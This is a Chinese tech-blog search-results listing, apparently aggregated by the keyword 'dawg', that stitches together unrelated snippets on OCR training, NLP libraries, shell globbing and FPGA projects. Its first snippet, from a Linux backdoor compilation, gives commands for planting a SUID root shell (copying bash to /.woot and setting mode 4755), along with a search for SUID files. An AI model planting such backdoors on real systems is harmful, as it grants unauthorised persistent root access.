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Linux后门整理合集
系统环境: dawg:~# uname -a Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux SUID shell 利用方法 首先, 先切换成为root用户，并执行以下的命令: dawg:~# cp /bin/bash /.woot dawg:~# chmod 4755 /.woot dawg:~# ls -al 现在，做为一个普通用户，我们来启用这个后门: fw@dawg:~$ id uid=1000(fw) gid=1000(fw) groups=1000(fw) fw@dawg:~$ /.woot.woot 小知识： 如何查找那些具有SUID 的文件: dawg:~# find / -perm +4000 -ls 这时就会返回具有SUID位的文件啦。 :~# inetd 如果要强制重启inetd： dawg:~# ps -ef grep inetdroot 362 1 0 Jul22 ?
2.5K80发布于 2018-01-04 - 来自专栏White feathe 的博客
H5 图像识别
delimited languages) load_freq_dawg 1 Load frequent word dawg. load_number_dawg 1 Load dawg with number patterns. load_punc_dawg 1 Load dawg with punctuation patterns. load_system_dawg 1 Load system word dawg. load_unambig_dawg 1 Load unambiguous word dawg. m_data_sub_dir tessdata/ Directory for data files is especially useful when user patterns are specified, since overly generic patterns can result in dawg (property) consistency permuter permute_debug 0 Debug char permutation process permute_fixed_length_dawg
4.3K30编辑于 2021-12-08 - 来自专栏用户2442861的专栏
Tesseract:训练
字符图像" pffmtable: 指明了每个字符的特征数量 normproto: 项目网站上的说法是 "normalization sensitivity prototypes" ，不知道怎么翻译合适 以 dawg 结尾的文件: 有向非循环词图(Directed Acyclic Word Graph, DAWG)文件，用来增强、调整识别过程 cube-unicharset, cube-word-dawg: 用于 之前例子中的 DAWG 文件中就承载了这些信息。不过比较遗憾的是，对于中文训练，我目前知道的只是添加高频词表(freq-dawg)与词表(word-dawg)，如何添加 ngram 信息目前毫无头绪。 [可选]添加配置文件、歧义修正文件、DAWG文件 略(后面补上) 打包 在上述步骤都完成后，将要打包入资源文件的那些文件加上一个统一的前缀，该前缀即是待生成的资源文件的名称，这里假定我们要生成 chi.traineddata
2.1K10发布于 2018-09-19 - 来自专栏用户2442861的专栏
使用Tesseract-OCR训练文字识别记录
) is -1 Offset for type 7 (test200.word-dawg ) is -1 Offset for type 8 (test200.number-dawg ) is -1 for type 11 (test200.cube-unicharset ) is -1 Offset for type 12 (test200.cube-word-dawg ) is -1 Offset for type 13 (test200.shapetable ) is 331993 Offset for type 14 (test200.bigram-dawg ) is -1 Offset for type 15 (test200.unambig-dawg ) is -1 Offset for type 16 (test200.params-model ) is -1 Output test200 ) is -1 Offset for type 7 (test200.word-dawg ) is -1 Offset for type 8 (test200.number-dawg ) is -1
3.4K10发布于 2018-09-19 - 来自专栏hadoop学习笔记
java分词工具hanlp介绍
不依赖其他jar，底层采用了一系列高速的数据结构，如双数组Trie树、DAWG、AhoCorasickDoubleArrayTrie等，这些基础件都是开源的。
1.8K30发布于 2019-07-03 - 来自专栏hadoop学习笔记
自然语言处理hanlp的入门基础
3.自动缓存 缓存的不是明文词典，而是双数组Trie树、DAWG、AhoCorasickDoubleArrayTrie等数据结构。
1.1K20发布于 2019-01-18 - 来自专栏阮一峰的网络日志
命令行通配符教程
$ echo {cat,d*} cat dawg dg dig dog doug dug 上面代码中，会先进行大括号扩展，然后进行*扩展。
1.4K20发布于 2018-09-21 - 来自专栏OpenFPGA
国外大学生都用FPGA做什么项目（三）
aw698/rmh286_jd794_aw698/rmh286_jd794_aw698/index.html 项目介绍 hackaday https://hackaday.com/2019/06/28/yo-dawg-i-heard-you-like-fpgas
59210编辑于 2023-12-26 每周AI论文速递（240610-240614）
因此，我们开放了 MMLU-Redux 以供进一步注释 https://huggingface.co/datasets/edinburgh-dawg/mmlu-redux。
25210编辑于 2025-04-08- 来自专栏大数据文摘
吴甘沙清华讲：大数据的10个技术前沿（中）
Big Dawg是英特尔在MIT最近支持的研究工作。他提出了普适的编程模型，一种叫做BQL的语言，他支持关系和线性代数、复杂数据模型、迭代计算、并行计算。
98130发布于 2018-05-23 - 来自专栏全栈程序员必看
字典树和前缀树_前缀树和后缀树
以及Directed Acyclic Word Graph，常缩写为黑哥哥们挂在嘴边的DAWG。
1.9K20编辑于 2022-10-04 - 来自专栏Akilarの糖果屋
给博客添加个性名片
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2.7K20编辑于 2022-03-11 - 来自专栏没事多喝水
sh脚本
$ echo {cat,d*} cat dawg dg dig dog doug dug 上面例子中，会先进行大括号扩展，然后进行*扩展。
12.3K30发布于 2020-11-20
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